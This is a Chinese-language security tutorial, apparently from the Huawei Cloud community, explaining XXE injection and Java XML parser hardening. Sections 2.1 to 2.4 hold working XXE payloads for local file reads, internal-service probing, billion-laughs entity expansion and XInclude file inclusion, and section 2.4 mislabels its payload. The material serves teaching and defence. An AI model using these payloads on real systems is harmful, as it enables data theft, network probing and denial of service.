本文分享自華為雲社群《【安全攻防】深入淺出實戰系列專題-XXE攻擊》,作者: MDKing。
1 基本概念
XML基礎:XML 指可擴充套件標記語言(Extensible Markup Language),是一種與HTML類似的純文字的標記語言,設計宗旨是為了傳輸資料,而非顯示資料。是W3C的推薦標準。
XML標籤:XML被設計為具有自我描述性,XML標籤是沒有被預定義的,需要自行定義標籤與文件結構。如下為包含了標題、傳送者、接受者、內容等資訊的xml文件。
DTD:指文件型別定義(Document Type Definition),透過定義根節點、元素(ELEMENT)、屬性(ATTLIST)、實體(ENTITY)等約束了xml文件的內容按照指定的格式承載資料。
如下圖,透過<!DOCTYPE 根節點名稱 [DTD內容]>
的規則指定了該xml檔案合法的根節點元素為persons,它的子節點元素為person,以及person的子層元素以及屬性。
實體:在DTD中透過<!ENTITY 實體名稱 "實體的值">
等方式定義實體,相當於定義變數的作用,可在文件內容中透過&實體名稱;
的方式引用實體的值(變數的值)。
實體型別:實體分為多種型別,從使用範圍的維度,分為引數實體(只能在DTD中引用)與非引數實體(可以在DTD中、文件內容中引用)。區別如下:
樣例 | 引用方式 | 使用範圍與場景 | |
非引數實體 | <!ENTITY country "中國"> | &country; | 在DTD中、文件內容中均可引用,一般用來取代重複的字串 |
引數實體 | <!ENTITY % countrydefine "xxx元素的DTD定義內容"> | %country; | 僅能在DTD定義中引用,一般用來儲存某段重複的DTD定義 |
從值的來源維度,分為內部實體、外部實體。內部實體為文件內部直接定義值,外部實體為透過http、file等協議從檔案外的某處獲取內容作為實體的值。區別如下:
樣例 | 特徵與使用場景 | |
內部實體 | <!ENTITY country "中國"> | 值是明確的字串常量等,可以直接定義在本文件中 |
外部實體 | <!ENTITY country SYSTEM "file:///D:/country.txt"> | 值來源於其它檔案或者網路 |
XML外部實體注入:XML External Entity Injection即xml外部實體注入漏洞,簡稱XXE漏洞。當xml解析器支援對於外部實體的解析且待解析的xml檔案可由外部控制時,就會發生此攻擊。攻擊者可以透過構造外部實體的內容為本地其它目錄下的檔案、訪問內網/外網的制定url等方式實現自己的攻擊目的,達到資訊洩露、命令執行、拒絕服務、SSRF、內網埠掃描等攻擊目的。
Xinclude:Xinclude用來匯入外部xml文件,類似於php的include,將外部定義的dtd引入當前檔案。該特性可以解決部分場景下引入外部實體具有的侷限性,但並不是所有XML 解析器都支援 XInclude,W3C在XInclude Implementations Report中列出了支援的列表,結合XInclude特性也可以在部分場景下執行XXE攻擊。常見的支援xinclude特性的xml解析器都是預設關閉xinclude特性的,如果使用,需要在程式碼中手動開啟,如在DOM型解析器中開啟如下配置factory.setNamespaceAware(true);factory.setXIncludeAware(true);
如果不關閉Xinclude,僅禁用DTD解析也是存在安全風險的。
2 常見攻擊場景實戰演練
2.1 伺服器檔案讀取(資訊洩露)
目的與場景:透過構造特定格式的xml文件,讀取伺服器上指定檔案的內容,達到敏感資訊獲取的目的。
xml文件payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY pw SYSTEM "file:///D:/securetest/xxe/passwd.txt">]> <root>&pw;</root>
伺服器端程式碼:
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<!DOCTYPE root [ \n" + "\t<!ELEMENT root (#PCDATA)>\n" + "\t<!ENTITY pw SYSTEM \"file:///D:/securetest/xxe/passwd.txt\">]>\n" + "<root>&pw;</root>"; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setValidating(true); DocumentBuilder builder = factory.newDocumentBuilder(); InputStream in = new ByteArrayInputStream(xml.getBytes()); org.w3c.dom.Document document = builder.parse(in); Element rootElement = document.getDocumentElement(); // 列印根節點元素名稱、內容 System.out.println("根節點名稱:" + rootElement.getNodeName()); System.out.println("根節點內容:" + rootElement.getTextContent()); }
執行結果:成功讀取到了passwd.txt的內容。(服務端程式碼樣例中列印在控制檯上,對應實際系統中需要有將文件內容列印到介面上等處理。)
2.2 內網資訊探測
目的與場景:透過構造特定格式的xml文件,可以藉助目標主機訪問內網的其它主機開放的內部介面等服務。
內網其它伺服器模擬準備:透過node staticServer.js命令啟動伺服器,監聽3000埠
let express = require('express') let app = express(); app.use(express.static(__dirname)); app.get('/getInnerData', function(req, res) { console.log(req.headers) res.end('AK:abc;SK:ABDCEF') }) app.listen(3000)
經驗證,http請求可成功返回
xml文件payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY pw SYSTEM "http://127.0.0.1:3000/getInnerData">]> <root>&pw;</root>
伺服器端程式碼:
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<!DOCTYPE root [ \n" + "\t<!ELEMENT root (#PCDATA)>\n" + "\t<!ENTITY pw SYSTEM \"http://127.0.0.1:3000/getInnerData\">]>\n" + "<root>&pw;</root>"; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setValidating(true); DocumentBuilder builder = factory.newDocumentBuilder(); InputStream in = new ByteArrayInputStream(xml.getBytes()); org.w3c.dom.Document document = builder.parse(in); Element rootElement = document.getDocumentElement(); // 列印根節點元素名稱、內容 System.out.println("根節點名稱:" + rootElement.getNodeName()); System.out.println("根節點內容:" + rootElement.getTextContent()); }
執行結果:成功讀取到內部介面getInnerData的內容。
2.3 DDos攻擊
目的與場景:透過構造特殊格式的xml文件,定義多層遞迴引用的實體(變數)讓解析的內容以及時間以指數級增長,以實現DDos攻擊的效果。
xml文件payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]> <root>&lol6;</root>
伺服器端程式碼:
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { // 獲取當前時間 LocalDateTime startTime = LocalDateTime.now(); String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<!DOCTYPE root [ \n" + "\t<!ELEMENT root (#PCDATA)>\n" + "\t<!ENTITY lol \"lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n\">\n" + "\t<!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n" + "\t<!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n" + "\t<!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n" + "\t<!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n" + "\t<!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">\n" + "\t<!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;\">]>\n" + "<root>&lol6;</root>"; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setValidating(true); factory.setExpandEntityReferences(false); System.setProperty("entityExpansionLimit", "50000000"); DocumentBuilder builder = factory.newDocumentBuilder(); InputStream in = new ByteArrayInputStream(xml.getBytes()); org.w3c.dom.Document document = builder.parse(in); Element rootElement = document.getDocumentElement(); // 列印根節點元素名稱、內容 System.out.println("根節點名稱:" + rootElement.getNodeName()); System.out.println("根節點內容:" + rootElement.getTextContent()); System.out.println("根節點內容長度:" + rootElement.getTextContent().length()); System.out.println("根節點內容大小:" + rootElement.getTextContent().getBytes().length / (1024 * 1024) + "MB"); // 獲取當前時間並計算時間差 LocalDateTime endTime = LocalDateTime.now(); Duration duration = Duration.between(startTime, endTime); System.out.println("解析執行時間為:" + duration.toMillis() + "豪秒"); }
執行結果:如果程式中不對解析實體做限制的話,可以透過少量的DTD定義,實現海量大小的解析結果的效果,會大量佔用伺服器的處理、儲存。
2.4 Xinclude攻擊演示
目的與場景:該樣例演示瞭如果開啟了Xinclude開關的危險性,即使做了DTD的安全禁用,還是依然可以進行XXE攻擊。
xml文件payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]> <root>&lol6;</root>
服務端程式碼:
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { String xml = "<?xml version=\"1.0\" ?>\n" + "<root xmlns:xi=\"http://www.w3.org/2001/XInclude\">\n" + "<xi:include href=\"file:///D:/securetest/xxe/passwd.txt\" parse=\"text\"/>\n" + "</root>"; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setNamespaceAware(true); factory.setXIncludeAware(true); DocumentBuilder builder = factory.newDocumentBuilder(); InputStream in = new ByteArrayInputStream(xml.getBytes()); org.w3c.dom.Document document = builder.parse(in); Element rootElement = document.getDocumentElement(); // 列印根節點元素名稱、內容 System.out.println("根節點名稱:" + rootElement.getNodeName()); System.out.println("根節點內容:" + rootElement.getTextContent()); }
執行結果:
3 安全編碼防禦
3.1 禁止開啟Xinclude開關
常見的支援xinclude特性的xml解析器都是預設關閉xinclude特性的,如果使用,需要在程式碼中手動開啟,如在DOM型解析器中開啟如下配置factory.setNamespaceAware(true);factory.setXIncludeAware(true);
如果不關閉Xinclude,僅禁用DTD解析也是存在安全風險的。2.4中演示了即使禁用了DTD解析,開啟Xinclude功能開關後存在的安全問題。所以從安全形度考慮,首先禁止開啟Xinclude開關。
3.2 禁用DTD解析
如果業務中不需要進行DTD定義以及解析,最好的方式就是完全禁用DTD解析。例如Dom型別的解析器中透過factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
來禁用。效果如下:
3.3 禁用外部實體解析
方式一:如果業務中確實需要DTD定義以及解析,可以透過僅禁用外部實體解析的方式進行安全防護。例如Dom型別的解析器中透過如下方式設定禁用外部實體解析:
factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
效果如下:
方式二:禁用外部實體解析還有另外一種方式,重寫實體解析函式,核心程式碼:
builder.setEntityResolver(new EntityResolver() { @Override public InputSource resolveEntity(String publicId, String systemId) throws SAXException,IOException { return new InputSource(new StringReader("")); } });
效果如下:
4 安全編碼掃描工具
IoT已將包括上述安全編碼邏輯在內的常用XML解析器的安全編碼規範提取到IoT自定義安全規則集,上線到所有IoT服務的生產釋出流水線中,自動化的保障各服務的現網程式碼安全。如: